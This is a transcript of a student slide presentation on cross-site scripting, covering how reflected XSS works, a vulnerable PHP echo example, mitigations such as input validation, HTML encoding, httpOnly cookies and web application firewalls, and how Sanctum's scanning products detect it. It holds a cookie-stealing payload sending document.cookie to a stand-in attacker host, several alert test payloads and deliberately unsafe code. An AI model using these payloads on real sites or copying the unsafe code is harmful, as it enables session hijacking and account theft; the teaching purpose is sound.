Cross site scripting
Download
Report
Transcript Cross site scripting
Cross site scripting
Firas mohamed tahir
Supervised by :Dr lo’ay twalbeh
introduction
There are many techniques which an intruder
can use to compromise the web application.
One such techniques is called xxs or across
site script.
With the help of such vulnerability intruder
can easily use some social engineering
trick to reveal access credentials of users
It can also invoke an automated script to
perform some operations.
Introduction(con…)
Cross site scripting(css for short,but some times
abbreviated as xss).
Xss is one of the most common application level
attacks that hackers use to sneak in to web
applications.
Xss is an attack on the privacy of clients of
particular web site which can lead to a total breach
of security when customer details are stolen or
manipulated.
The common language used for xss include java
script,vbscript,Html,c++,active x and flash.
Introduction(con…)
Many web site make extensive use of client-side
scripts(mostly written in java script).
There are many applications which are designed to
permit the input of Html tags for displaying the Html
formatted data.
These tags can be used by malicious users to attack
other users by inserting scripts or malicious applets.
Xss is unlike most attack which involves two parties
the attacker and victim client.
The css attack involves three parties the attacker,a
client and web site.
Introduction(con…)
Such attack are result of poor input validations, it uses the
combination of html and java script.
An intruder can misguide the client and perform various attack
from Dos(by opening enormous amount of window on client
site,or embedding malicious FORM tags at the right place.
Malicious user may be able to trick users into revealing sensitive
information by modifying the behavior of existing form or by
embedding scripts.
Scripting tags that take advantage of xss
include<script>,<applet>,<object>,embedandform.
Introduction(con…)
Recent trends in information systems security show a significant
increase in cross site scripting(xss) vulnerabilities.
Due to the convergence of control system technology and
information systems technology, a determined attacker could use
knowledge of xss vulnerabilities to access control system
network.
Xss involves the posting of malicious web programming
instruction to a web-accessible location contrary to the intentions
of location owners.
The goal of the xss attack is to steal the client cookies, or any
other sensitive information which can identifying the client with
the website.
Scope and feasibility
How it is performed
Suppose we are using a application which
takes some data from the user say username
and password. then it is displaying that data.
now if this data is not validates properly then
it can creates some real surprise as we can
see bellow .
consider the following code in php which
takes some data and then it will display it:
Scope and feasibility(con…)
**code listing for test_submit.php**
<?
$Name=$_POST['name'];
echo "<html>
<body>";
echo $Name; echo" </body>
</html>";
?>
Now it is clear that the data is posted from a form. assume that
previous form contains a textbox called ‘name’ .so it will have
something similar coding.
Scope and feasibility(con…)
**code listing for test.php**
<html>
<head>
<title>
xss test page
</title>
</head>
<body>
<form name="form1" action="test_sub.php" method="post">
Name:<input type="text" name="name">
<input type="submit" value="submit">
</body>
</html>
Variations on the theme
Now when a user press the submit button the data
in textbox get passed to another form
test_submit.php. as from the coding it is clear that
the posted data is stored in a variable called ‘name’
.
So from above it is clear that if a user post a simple
value then it is simply displayed on the screen but If
suppose a user enter following in the name field:<script language=java script>alert (document .name);
</script>.
Then he will get a msgbox as shown in the following
picture:
Variations on the theme(con…)
Variations on the theme(con…)
So from the picture it is clear that if the entered data
is not validated properly then a malicious user can
execute his own html or script code .
this can lead to a potentially dangerous situation.
specially if your application is storing critical
information and if you have something from which a
attacker can be benefited.
with a combination of html and java script a
attacker can misguide user and can spoof there real
identity.
Full explanation-the css
technique
Let us call the site under attack: www.vulnerable.site.
At the core of a traditional xss attack lies a vulnerable script in
the vulnerable site. This script reads part of the HTTP request
(usually the parameters, but sometimes also HTTP headers or
path) and echoes it back to the response page, in full or in part,
without first sanitizing it.
i.e. making sure it doesn’t contain Javascript code and/or HTML
tags.
Suppose, therefore, that this script is named welcome.cgi, and its
parameter is “name”. It can be operated this way:
Full explanation-the css
technique(con…)
GET /welcome.cgi?name=Joe%20Hacker
HTTP/1.0
Host: www.vulnerable.site
And the response would be:
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
Full explanation-the css
technique(con…)
How can this be abused?
Well, the attacker manages to lure the victim client into clicking a
link the attacker supplies to him/her. This is a carefully and
maliciously crafted link, which causes the web browser of the
victim to access the site (www.vulnerable.site) and invoke the
vulnerable script.
The data to the script consists of a Javascript that accesses the
cookies the client browser has for www.vulnerable.site. It is
allowed, since the client browser “experiences” the Javascript
coming from www.vulnerable.site, and Javascript’s security
model allows scripts arriving from a particular site to access
cookies belonging to that site.
Full explanation-the css
technique(con…)
Such a link looks like:
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.
cookie)</script>
The victim, upon clicking the link, will generate a request to
www.vulnerable.site, as follows:
GET /welcome.cgi?name=<script>alert(document. cookie)</script> HTTP/1.0
Host: www.vulnerable.site
And the vulnerable site response would be:
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
Full explanation-the css
technique(con…)
The victim client’s browser would interpret this response as an
HTML page containing a piece of Javascript code.
This code, when executed, is allowed to access all cookies
belonging to www.vulnerable.site, and therefore, it will pop-up a
window at the client browser showing all client cookies belonging
to www.vulnerable.site.
A real attack would consist of sending these cookies to the
attacker. For this, the attacker may erect a web site
(www.attacker.site), and use a script to receive the cookies.
Instead of popping up a window, the attacker would write a code
that accesses a URL at his/her own site (www.attacker.site),
Invoking the cookie reception script with a parameter being the
stolen cookies. This way, the attacker can get the cookies from
the www.attacker.site server.
Full explanation-the css
technique(con…)
The malicious link would be:
http://www.vulnerable.site/welcome.cgi?name
=<script>window.open(“http://www.attacker.si
te/collect.cgi?cookie=”%2Bdocument.cookie)
</script>
And the response page would look like:
Full explanation-the css
technique(con…)
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/c
ollect.cgi?cookie=”+document.cookie)<
/script>
<BR>
Welcome to our system
...
</HTML>
Full explanation-the css
technique(con…)
The browser, immediately upon loading this page,
would execute the embedded Javascript and would
send a request to the collect .cgi script in
www.attacker.site, with the value of the cookies of
www.vulnerable.site that the browser already has.
This compromises the cookies of
www.vulnerable.site that the client has. It allows the
attacker to impersonate the victim. The privacy of
the client is completely breached.
Full explanation-the css
technique(con…)
It should be noted, that causing the
Javascript pop-up window to emerge usually
suffices to demonstrate that a site is
vulnerable to a CSS attack. If Javascript’s
“alert” function can be called, there’s usually
no reason for the “window.open” call not to
succeed. That is why most examples for CSS
attacks use the alert function, which makes it
very easy to detect its success.
Cross site scripting
Protecting from attack
How to protect from such attacks?
A straight forward solution to this problem is disabling the
scripting language !!!but due to
many reasons it is not possible to use this solutions. there are
various ways by which
such kind of attacks can be prevented.
1) Always properly validate the data: to secure your web
applications from such attacks it is necessary to check the user
data for any unnecessary characters or input strings. please
make sure that u check the POST data, URL strings, Cookies
etc and remove any unwanted character or string like <script>
etc from it. this is the general way from where a malicious user
try to compromise your web application.
Protecting from attack(con…)
2) Limit Input Lengths :this is another way of securing web
applications from malicious inputs. always make sure that about
restricted the length of the variables that want to use in the
applications and check them properly for any violations.
3)Use HTTP POST Method rather then Using GET:GET makes
the web application more vulnerable to such kind of attacks as
some one can easily play with the input. If possible prefer post
method then using GET method.
4)Verify the cookie data: web application uses cookie for
managing the state of communication. as it is stored on client
side, it is necessary to check the cookie data before use it.
5)Filter Output: Always filter out the output content that going to
display. it will reduces the chance of XSS attacks.
Securing a site against css
attacks
How to perform Input Validation
Check if the input is what you expect
- Do not try to check for "bad input"
Black list testing is no solution
-Black lists are never complete!
White list testing is better
-Only what you expect will pass
-(correct) Regular expressions
Securing a site against css
attacks(con…)
HTML Encoding may help
HTML encoding of all input when put into output
pages
There are fields where this is not possible
– When constructing URLs from input (e.g. redirections)
– Meta refresh, HREF, SRC, ....
There are fields where this is not sufficient
– When generating Javascript from input
– Or when used in script enabled HTML Tag attributes
Htmlencode("javascript:alert(`Hello`)") = javascript:alert(`Hello`)
Securing a site against css
attacks(con…)
Cookie Options mitigate the impact
Complicate attacks on Cookies
• "httpOnly" Cookies
– Prevent disclosure of cookie via DOM access
• IE only currently
• use with care, compatibility problems may occur
– But: cookies are sent in each HTTP requests
• E.G. Trace-Method can be used to disclose cookie
– Passwords still may be stolen via XSS
"secure" Cookies
– Cookies are only sent over SSL
Securing a site against css
attacks(con…)
Web Application Firewalls
– Check for malicious input values
– Check for modification of read-only parameters
– Block requests or filter out parameters
Can help to protect „old“ applications
– No source code available
– No know-how available
– No time available
No general solution
– Usefulness depends on application
– Not all applications can be protected
What went wrong?
This is NO Solution!
SSL:
– Attack is not based on communication security flaws
– Attack is based on application security problems
Client side input checking:
– Can be subverted easily
– Direct URL access
<form method="GET" action="/file.jsp">
<input type="text" name=“fname“ maxlength="10">
______________________________________
GET /file.jsp?fname=123456789012345
What went wrong?(con…)
By the way
Web Services are affected by XSS too
– Become more and more standard
– Access protocol is often HTTP
– Data transfer using XML
Attack: Submitting SOAP-Response-Values as
Request-Values
Often HTML rendering engines are used for
display
– Force “traditional” XSS attack code in output
How to check if your site is protect
from css
Checking that a site is secure from CSS attacks is the logical
conclusion of securing the site.
Just like securing a site against CSS, checking that the site is
indeed secure can be done manually (the hard way), or via an
automated web application vulnerability assessment tool, which
offloads the burden of checking. The tool crawls the site, and
then launches all the variants it knows against all the scripts it
found – trying the parameters, the headers and the paths. In
both methods, each input to the application (parameters of all
scripts, HTTP headers, path) is checked with as many
variations as possible, and if the response page contains the
Javascript code in a context where the browser can execute it
then a CSS vulnerability is exposed. For example, sending the
text:
1.
<script>alert(document.cookie)</script>
How to check if your site is protect
from css(con…)
to each parameter of each script, via a Javascript enabled
browser to reveal a CSS vulnerability of the simplest kind – the
browser will pop up the Javascript alert window if the text is
interpreted as Javascript code.
Of course, there are several variants, and therefore, testing only
the above variant is insufficient. And as we saw above, it is
possible to inject Javascript into various fields of the request – the
parameters, the HTTP headers, and the path. In some cases
(notably the HTTP Referer header), it is awkward to carry out the
attack using a browser.
How sanctum’s appsld protects
against css attacks
AppShield, Sanctum’s Web application firewall, is a secure
proxy positioned in front of the web server, and protecting it,
and all the code and data sitting behind it, from attack.
AppShield inspects all incoming requests. Therefore, any CSS
attack attempt will send the request (to welcome.cgi in the
example) to AppShield, instead of directly to the web server.
AppShield inspects the parameters of the request before
forwarding it to the server. AppShield’s patented Dynamic
Policy Recognition technology incorporates sophisticated
pattern matching which blocks input potentially used for CSS
attacks. For example, the patterns cover the following strings
as referred to in this paper:
<script>...</script>
<body onload="javascript:..">
How sanctum’s appsld protects
against css attacks(con…)
In the example, there is a parameter whose
value contains the string
<script>window.open(“http://www.attacker.site
/collect.cgi?cookie=
”+document.cookie)</script>
Upon spotting this illegal pattern, AppShield
blocks the request and logs the attack
attempt.
How Sanctum’s AppScan for
CSS vulnerabilities scans
to mutate all "reasonable" parameters into various CSS attack variants.
For example, it may try to inject the string
<script>alert("CSS is possible")</script>
into all parameters of all scripts.
AppScan's uniquely comprehensive assembly of CSS attacks enables it
to penetrate some applications that are resistant to simple CSS attacks.
For each script it tries to attack, AppScan will inspect the results (the
script response), and if the Javascript code is detected (that is, if the
string returned as is - intact and in fullness:
<script>alert("CSS is possible")</script>), it indicates that the attack
succeeded (because the browser of the victim will execute the JS
code). Moreover, the internal browser in AppScan will pop-up the
Javascript alert window with the text "CSS is possible", which
graphically demonstrates that the Javascript code was indeed
executed
conclusion
Cross-Site Scripting is extremely dangerous
– Identity theft, Impersonation
Cause: Missing or in-sufficient input validation
XSS-Prevention Best Practices
– Implement XSS-Prevention in application
– Do not assume input values are benign
– Do not trust client side validation
– Check and validate all input before processing
– Do not echo any input value without validation
– Use one conceptual solution in all applications
thank you